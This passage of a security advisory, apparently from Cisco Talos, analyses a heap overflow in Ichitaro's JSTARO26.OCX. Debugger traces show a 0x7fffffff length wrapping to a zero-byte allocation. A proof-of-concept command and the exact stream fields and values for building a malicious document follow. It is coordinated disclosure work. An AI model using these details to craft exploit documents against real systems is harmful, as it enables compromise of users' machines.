If we continue execution to offset +0x869ca7 of the binary, we will encounter the following instruction. This instruction uses the index (3) that was decoded from the “HyperLinkFrame” stream to fetch the frame object from an array and store it into the %esi register. The fetched object is at address 0x24eee9b0 and uses the virtual function table at offset +0x9eabf8 of the binary.

0:000> g JSTARO26.OCX+869ca7 

eax=00000003 ebx=00000415 ecx=15d8afa8 edx=00000003 esi=0d84bf38 edi=0098954c
eip=53029ca7 esp=00989504 ebp=00989510 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DllUnregisterServer+0x433270:
53029ca7 8b3481          mov     esi,dword ptr [ecx+eax*4] ds:0023:15d8afb4=24eee9b0

0:000> dc poi(@ecx+@eax*4) L4
24eee9b0  531aabf8 00000000 00000000 00000001  ...S............

0:000> ? @$p - jstaro26
Evaluate expression: 10398712 = 009eabf8

If we continue execution until offset +0x869cb7 of the JSTARO26.OCX library, we will stop at the following instruction. This call instruction represents the method used to check a flag (0x40000) within the frame object.

0:000> g JSTARO26.OCX+869cb7 
...

eax=531aabf8 ebx=00000415 ecx=24eee9b0 edx=00000003 esi=24eee9b0 edi=0098954c
eip=53029cb7 esp=00989500 ebp=00989510 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DllUnregisterServer+0x433280:
53029cb7 ff90c8000000    call    dword ptr [eax+0C8h] ds:0023:531aacc0=5296bd0c

0:000> ub @eip+6 L4
JSTARO26!DllUnregisterServer+0x433277:
53029cae 8b06            mov     eax,dword ptr [esi]
53029cb0 8bce            mov     ecx,esi
53029cb2 6800000400      push    40000h
53029cb7 ff90c8000000    call    dword ptr [eax+0C8h]

The bitfield that the flag is being checked against resides at offset +0x94 of the object. Examining the integer at offset +0x94 of the object shows that its 18th bit is set.

0:000> uf poi(@eax+0xc8)
JSTARO26!DRFL_SaveFD3A+0x6ebed:
5296bd0c 55              push    ebp
5296bd0d 8bec            mov     ebp,esp
5296bd0f 8b8194000000    mov     eax,dword ptr [ecx+94h]
5296bd15 234508          and     eax,dword ptr [ebp+8]
5296bd18 f7d8            neg     eax
5296bd1a 1bc0            sbb     eax,eax
5296bd1c f7d8            neg     eax
5296bd1e 5d              pop     ebp
5296bd1f c20400          ret     4

0:000> r @ecx
ecx=24eee9b0

0:000> ? dwo(@ecx+94)
Evaluate expression: 262144 = 00040000

Next we will continue execution until offset +0x86ab8f of the JSTARO26.OCX binary. The instruction at this address will decode a 32-bit integer representing the length of a wide-character string which is intended to follow it. This length is used to calculate the number of bytes needed to store the string, and is responsible for the vulnerability.

0:000> g JSTARO26.OCX+86ab8f 
...

eax=009894d8 ebx=1520afe0 ecx=0098954c edx=00000000 esi=24eee9b0 edi=0098954c
eip=5302ab8f esp=009894bc ebp=009894f4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
JSTARO26!DllUnregisterServer+0x434158:
5302ab8f e8f4f694ff      call    JSTARO26!DRFL_SaveFD3A+0x7d169 (5297a288)

0:000> ub @eip+5 L4
JSTARO26!DllUnregisterServer+0x434152:
5302ab89 8d45e4          lea     eax,[ebp-1Ch]
5302ab8c 50              push    eax
5302ab8d 8bcf            mov     ecx,edi
5302ab8f e8f4f694ff      call    JSTARO26!DRFL_SaveFD3A+0x7d169 (5297a288)

If we step over this function call, we can see that the integer from the proof-of-concept (0x7fffffff) has been stored into a variable within the stack frame. The instruction which then follows will then load the decoded length into the %eax register,

0:000> r@$t0=poi(@esp)

0:000> p
eax=009894d8 ebx=1520afe0 ecx=15078be7 edx=7fffffff esi=24eee9b0 edi=0098954c
eip=5302ab94 esp=009894c0 ebp=009894f4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
JSTARO26!DllUnregisterServer+0x43415d:
5302ab94 c745e807000000  mov     dword ptr [ebp-18h],7 ss:0023:009894dc=00000003

0:000> ? poi(@$t0)
Evaluate expression: 2147483647 = 7fffffff

0:000> p
eax=009894d8 ebx=1520afe0 ecx=15078be7 edx=7fffffff esi=24eee9b0 edi=0098954c
eip=5302ab9b esp=009894c0 ebp=009894f4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
JSTARO26!DllUnregisterServer+0x434164:
5302ab9b 8b45e4          mov     eax,dword ptr [ebp-1Ch] ss:0023:009894d8=7fffffff

After single-stepping one more time to the instruction at address 0x5302ab9e (offset +0x86ab9e) of the binary, the debugger will be stopped at the instruction which is used to calculate the total number of bytes needed to be allocated for the string. This calculation multiplies the length from the “HyperLinkFrame” stream by 2 and then adds 2 to it. With the value from the proof-of-concept (0x7fffffff), this will result in the size being 0x00000000 before being stored to the %eax register.

0:000> p
eax=7fffffff ebx=1520afe0 ecx=15078be7 edx=7fffffff esi=24eee9b0 edi=0098954c
eip=5302ab9e esp=009894c0 ebp=009894f4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
JSTARO26!DllUnregisterServer+0x434167:
5302ab9e 8d044502000000  lea     eax,[eax*2+2]

0:000> ? 2+@eax*2
Evaluate expression: 4294967296 = 00000001`00000000

If we continue to the next branch instruction, we will encounter the following call instruction. The address targeted by this call instruction is an unconditional branch that references the import for JSCRT40.DLL!CRT40_malloc. Examining the call instruction’s first parameter shows that a zero-sized allocation will be made.

0:000> ph
eax=00000000 ebx=1520afe0 ecx=15078be7 edx=7fffffff esi=24eee9b0 edi=0098954c
eip=5302aba6 esp=009894bc ebp=009894f4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
JSTARO26!DllUnregisterServer+0x43416f:
5302aba6 e85f7182ff      call    JSTARO26!DllGetClassObject+0x28a (52851d0a)

0:000> ub @eip+5 L3
JSTARO26!DllUnregisterServer+0x434167:
5302ab9e 8d044502000000  lea     eax,[eax*2+2]
5302aba5 50              push    eax
5302aba6 e85f7182ff      call    JSTARO26!DllGetClassObject+0x28a (52851d0a)

0:000> dc @esp L1
009894bc  00000000                             ....

Stepping over the call instruction will then result in a block of memory that is zero bytes in size being allocated at address 0x136ceff8.

0:000> p
eax=136ceff8 ebx=1520afe0 ecx=009894e8 edx=00000000 esi=24eee9b0 edi=0098954c
eip=5302abab esp=009894c0 ebp=009894f4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
JSTARO26!DllUnregisterServer+0x434174:
5302abab 8bc8            mov     ecx,eax

0:000> r @eax
eax=136ceff8

0:000> dc @eax L4
136ceff8  d0d0d0c0 d0d0d0d0 ???????? ????????  ........????????

The following instructions are responsible for preparing the necessary parameters for reading an arbitrary number of bytes from the “HyperLinkFrame” stream. First the 32-bit length is loaded from a variable within the stack frame, then it is multiplied by 2 before being used by the next call instruction. This methodology is different from the one used to calculate the number of bytes used by the allocation.

0:000> g jstaro26+0x86abb8
eax=136ceff8 ebx=1520afe0 ecx=136ceff8 edx=00000000 esi=24eee9b0 edi=0098954c
eip=5302abb8 esp=009894c0 ebp=009894f4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DllUnregisterServer+0x434181:
5302abb8 8b45e4          mov     eax,dword ptr [ebp-1Ch] ss:0023:009894d8=7fffffff

0:000> p
eax=7fffffff ebx=1520afe0 ecx=136ceff8 edx=00000000 esi=24eee9b0 edi=0098954c
eip=5302abbb esp=009894c0 ebp=009894f4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DllUnregisterServer+0x434184:
5302abbb 03c0            add     eax,eax

0:000> p
eax=fffffffe ebx=1520afe0 ecx=136ceff8 edx=00000000 esi=24eee9b0 edi=0098954c
eip=5302abbd esp=009894c0 ebp=009894f4 iopl=0         ov up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a92
JSTARO26!DllUnregisterServer+0x434186:
5302abbd 50              push    eax

0:000> r @eax
eax=fffffffe

Continuing to the next branch instruction, we will encounter the method call responsible for decoding an arbitrary number of bytes from the “HyperLinkFrame” stream. This will use the length that was previously calculated and attempt to read that number of bytes into the memory allocated for it. Stepping over it will cause the application to decode bytes from the file into an undersized heap-buffer and result in a heap-based buffer overflow.

0:000> ph
eax=fffffffe ebx=1520afe0 ecx=0098954c edx=00000000 esi=24eee9b0 edi=0098954c
eip=5302abc1 esp=009894b8 ebp=009894f4 iopl=0         ov up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a92
JSTARO26!DllUnregisterServer+0x43418a:
5302abc1 e8ae909aff      call    JSTARO26!DRFL_SaveFD3A+0xd6b55 (529d3c74)

0:000> ub .+5 L6
JSTARO26!DllUnregisterServer+0x434181:
5302abb8 8b45e4          mov     eax,dword ptr [ebp-1Ch]
5302abbb 03c0            add     eax,eax
5302abbd 50              push    eax
5302abbe 51              push    ecx
5302abbf 8bcf            mov     ecx,edi
5302abc1 e8ae909aff      call    JSTARO26!DRFL_SaveFD3A+0xd6b55 (529d3c74)

0:000> dc @esp L2
009894b8  136ceff8 fffffffe                    ..l.....

0:000> p
(ddc.10e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=15078be9 ebx=1520afe0 ecx=fffffff6 edx=fffffffe esi=15078bf3 edi=136cf000
eip=6be933ce esp=00989490 ebp=009894b0 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210287
VCRUNTIME140!memcpy+0x4e:
6be933ce f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

The base addresses of the modules described are as follows:

Browse full module list
start    end        module name
527c0000 536fc000   JSTARO26   (export symbols)       JSTARO26.OCX
213e0000 21402000   jsmisc32   (deferred)             
5f800000 5f8b1000   JSFC       (deferred)             
3c7c0000 3f04e000   T33com     (deferred)             
00e00000 0112d000   taro33     (deferred)             

Exploit Proof of Concept

To modify a given document with the necessary attributes, run the proof-of-concept with Python against the desired document using the following parameters:

$ python poc.py3.zip modify /path/to/document.jtd

This will update the document in-place with the necessary changes required to trigger the vulnerability. The same proof-of-concept can be used to process a document and scan it for the necessary attributes by using the “read” command instead of “modify”. The following explanation will utilize the output of this script to identify the locations of relevant objects.

The document file format used by the application is utilizing Microsoft’s COM Structured Storage API, also known as a Compound Document File. This document is composed of a number of streams which contain the necessary data for the application to load the document. The names of the two streams relevant to this vulnerability are “Frame” and “HyperLinkFrame”. Within both of these streams, each of the integers are encoded in their big-endian format. The contents of these streams are essentially arrays of objects that have the following structure and are referred to within this document as a “block”. Each block begins with a 16-bit type and 16-bit size as its header. Immediately following this header is the data for the block.

>>> jtd.Stream.block().alloc(size=0x100)
<class jtd.Stream.block> 'unnamed_7f9be3aae5d0' {unnamed=True}
[0] <instance jtd.ntohs 'type'> 0x0000 (0)
[2] <instance jtd.ntohs 'size'> 0x0100 (256)
[4] <instance ptype.block 'data'> ""
[4] <instance dynamic.block(256) 'padding'> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00  ...total 256 bytes... \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

At the beginning of the “Frame” stream within the provided proof-of-concept is a block containing the header for the stream. Immediately following this header is a block of type 0x0101. This block contains a 32-bit integer describing the number of blocks that follow it. Each of the blocks that follow the count within the “Frame” stream are used to reference each frame object stored within the document.

>>> frame
<class jtd.FrameStream> 'unnamed_7f596be95370' {unnamed=True}
[0] <instance jtd.Stream.block 'header'> "\x00\x01\x00\x04\x00\x02\x00\x01"
[8] <instance jtd.Stream.block 'count'> "\x01\x01\x00\x04\x00\x00\x00\x13"
[10] <instance jtd.Frame_members 'items'> jtd.Stream.block[19] "\x01\x02\x00\x38\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00 ...total 1140 bytes... \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

>>> frame['count']
<class jtd.Stream.block> 'count'
[8] <instance jtd.ntohs 'type'> 0x0101 (257)
[a] <instance jtd.ntohs 'size'> 0x0004 (4)
[c] <instance jtd.FrameStream._count 'data'> +0x00000013 (19)
[10] <instance dynamic.block(0) 'padding'> ""

At offset 0xc4 of the “Frame” stream of the proof-of-concept is the first type required to trigger this vulnerability. Within the “Frame” stream, each block has a type of 0x0102 and should always be 0x38 bytes in size. Immediately following the block header is the contents of the “Frame” object describing the necessary information referenced by the other streams.

>>> frame.at(0xc4).getparent(jtd.Stream.block)
<class jtd.Stream.block> '3'
[c4] <instance jtd.ntohs 'type'> 0x0102 (258)
[c6] <instance jtd.ntohs 'size'> 0x0038 (56)
[c8] <instance jtd.Frame_object_777b3f 'data'> "\x00\x00\x00\x03\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00"
[100] <instance dynamic.block(0) 'padding'> ""

At offset 0xc8 of the “Frame” stream is the following data structure. The first 32-bits (at offset +0x4 of the block) contains the index of the frame object that will need to be referenced later. Following this 32-bit integer (at offset +0x6 of the block), is the 16-bit case of the frame object used to control which object is to be constructed. With regards to the vulnerability, this case must be 0x0001 in order for the “HyperLinkFrame” object to be decoded by the application. The proof-of-concept is using an index of 0x00000003.

>>> _['data']
<class jtd.Frame_object_777b3f> 'data'
[c8] <instance jtd.ntohl 'lv_index_18'> +0x00000003 (3)
[cc] <instance jtd.ntohs 'lvw_case_14'> 0x0001 (1)
[ce] <instance jtd.baseobject_9eafa8 'vobject_7779f9'> "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00"

If we continue to descend into the structure of the frame object, we will eventually get to the bitfield at offset 0xf8 of the stream (offset +0x30 of the block). This bitfield describes which “HyperLinkFrame” objects are relevant to the frame object. Within the provided proof-of-concept, the 18th bit is set (0x40000), which should allow the “HyperLinkFrame” object of type 0x0812 to be used.

>>> _['vobject_7779f9']
<class jtd.baseobject_9eafa8> 'vobject_7779f9'
[ce] <instance jtd.ntohl 'v_frameKey_9c'> +0x00000003 (3)
[d2] <instance jtd.ntohs 'vw_uint16_a0'> 0x0000 (0)
[d4] <instance jtd.baseobject_9eafa8.field_20_figureTypeField_1 'field_20'> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00"

>>> _['field_20']
<class jtd.baseobject_9eafa8.field_20_figureTypeField_1> 'field_20'
[d4] <instance jtd.ntohs 'vw_field_0'> 0x0000 (0)
[d6] <instance jtd.ntohs 'field_2'> 0x0000 (0)
[d8] <instance jtd.ntohs 'field_4'> 0x0000 (0)
[da] <instance jtd.ntohs 'field_6'> 0x0000 (0)
[dc] <instance jtd.ntohs 'field_8'> 0x0000 (0)
[de] <instance jtd.ntohl 'v_adder_c'> +0x00000000 (0)
[e2] <instance jtd.ntohl 'field_10'> +0x00000000 (0)
[e6] <instance jtd.ntohl 'field_14'> +0x00000000 (0)
[ea] <instance jtd.ntohl 'field_18'> +0x00000000 (0)
[ee] <instance jtd.ntohl 'field_20'> +0x00000000 (0)
[f2] <instance jtd.ntohs 'field_1c'> 0x0000 (0)
[f4] <instance jtd.ntohs 'field_24'> 0x0000 (0)
[f6] <instance jtd.ntohs 'v_field_6c'> 0x0000 (0)
[f8] <instance be(jtd.HyperLinkFrameBitFlags) 'v_bitflags_70'> {bits=32,partial=True,byteorder='big'} (0x00040000,32) :> unused
[fc] <instance jtd.ntohl 'field_74'> +0x00000000 (0)

Once a “Frame” object of the correct type exists within the document with its necessary bits set, an object within the “HyperLinkFrame” stream will need to reference the frame object using its index. Similar to the “Frame” stream, the beginning of the “HyperLinkFrame” will also contain a block for the stream’s header. Following this header is an array of members where the type of each block represents the type of member being used.

>>> hyperlinkframe
<class jtd.HyperLinkFrameStream> 'unnamed_7fe59a305df0' {unnamed=True}
[0] <instance jtd.HyperLinkFrameStream._header 'header'> "\x00\x01\x00\x04\x00\x01\x00\x01"
[8] <instance jtd.HyperLinkFrameStream._members 'members'> jtd.HyperLinkFrame.type[2] "\x08\x12\x04\x19\x00\x00\x00\x03\x00\x00\x00\x7f\xff\xff ...total 1061 bytes... \xad\xde\xad\xde\xad\xff\xff\x00\x04\x00\x00\x00\x00"
[42d] <instance dynamic.block(0) 'padding'> ""

As this stream does not contain a separate block for the number of members, the stream will use a type of 0Xffff to terminate the array of members.

>>> hyperlinkframe['members'][-1]
<class jtd.HyperLinkFrame.type> '1'
[425] <instance jtd.HyperLinkFrame.enum 'type'> 0xffff (65535)
[427] <instance jtd.ntohs 'size'> 0x0004 (4)
[429] <instance jtd.HyperLinkFrameContent 'data'> "\x00\x00\x00\x00"
[42d] <instance dynamic.block(0) 'padding'> ""

The block relevent to this vulnerability is at offset +0x8 of the “HyperLinkFrame” stream. This block has a type of 0x0812 and a size of 0x419.

>>> hyperlinkframe['members'][0]
<class jtd.HyperLinkFrame.type> '0'
[8] <instance jtd.HyperLinkFrame.enum 'type'> HyperLinkFrame_812(0x812)
[a] <instance jtd.ntohs 'size'> 0x0419 (1049)
[c] <instance jtd.HyperLinkFrameContent<0812> 'data'> "\x00\x00\x00\x03\x00\x00\x00\x7f\xff\xff\xff\xde\xad\xde\xad\xde\xad\xde\xad\xde\xad\xde\xad\xde\xad"
[25] <instance dynamic.block(1024) 'padding'> "\xde\xad\xde\xad\xde\xad\xde\xad\xde\xad\xde\xad\xde\xad ...total 1024 bytes... \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

After the header of the block for the “HyperLinkFrame” object is the index for the frame. This index needs to match the relevant “Frame” object in order to trigger the vulnerability. Within the provided proof-of-concept, at offset +0xc of the “HyperLinkFrame” stream is the frame index of 0x00000003. As previously mentioned, the case of the frame object at index 3 must be 0x0001. This will enable the application to decode the rest of the member within the block for the frame object.

>>> _['data']
<class jtd.HyperLinkFrameContent<0812>> 'data'
[c] <instance jtd.ntohl 'frame_id'> +0x00000003 (3)
[10] <instance jtd.HyperLinkFrame_812 'content'> "\x00\x00\x00\x7f\xff\xff\xff\xde\xad\xde\xad\xde\xad\xde\xad\xde\xad\xde\xad\xde\xad"

Inside the contents of the “HyperLinkFrame” object at offset +0x13 of the stream (offset +0xb of the block) is the 32-bit length used for the calculation of the buffer that stores the wide-character string that follows it. The buffer size is calculated by adding 1 to this 32-bit integer and multiplying the result by 2 for the size of a wchar_t. If the result is larger than 32-bits, the integer overflow is triggered.

>>> _['content']
<class jtd.HyperLinkFrame_812> 'content'
[10] <instance jtd.u8 'vb_field_0'> 0x00 (0)
[11] <instance jtd.ntohs 'vw_field_2'> 0x0000 (0)
[13] <instance jtd.ntohl 'lv_size_1c'> +0x7fffffff (2147483647)
[17] <instance dynamic.block(0) 'p_buffer_1c'> ""
[17] <instance jtd.u8 'vb_boolean_c'> 0xde (222)
[18] <instance jtd.ntohl 'v_field_10'> -0x52215222 (-1377915426)
[1c] <instance jtd.ntohl 'v_field_14'> -0x52215222 (-1377915426)
[20] <instance jtd.u8 'vb_boolean_18'> 0xad (173)
[21] <instance jtd.ntohl 'v_field_1c'> -0x21522153 (-559030611)
[25] <instance ptype.block 'filler'> ""
VENDOR RESPONSE

The vendor coordinated with JPCert, who released the information at: https://jvn.jp/en/jp/JVN28846531/index.html

TIMELINE

2023-08-01 - Vendor Disclosure
2023-10-19 - Vendor Patch Release
2023-10-19 - Public Release

Credit

Discovered by a member of Cisco Talos.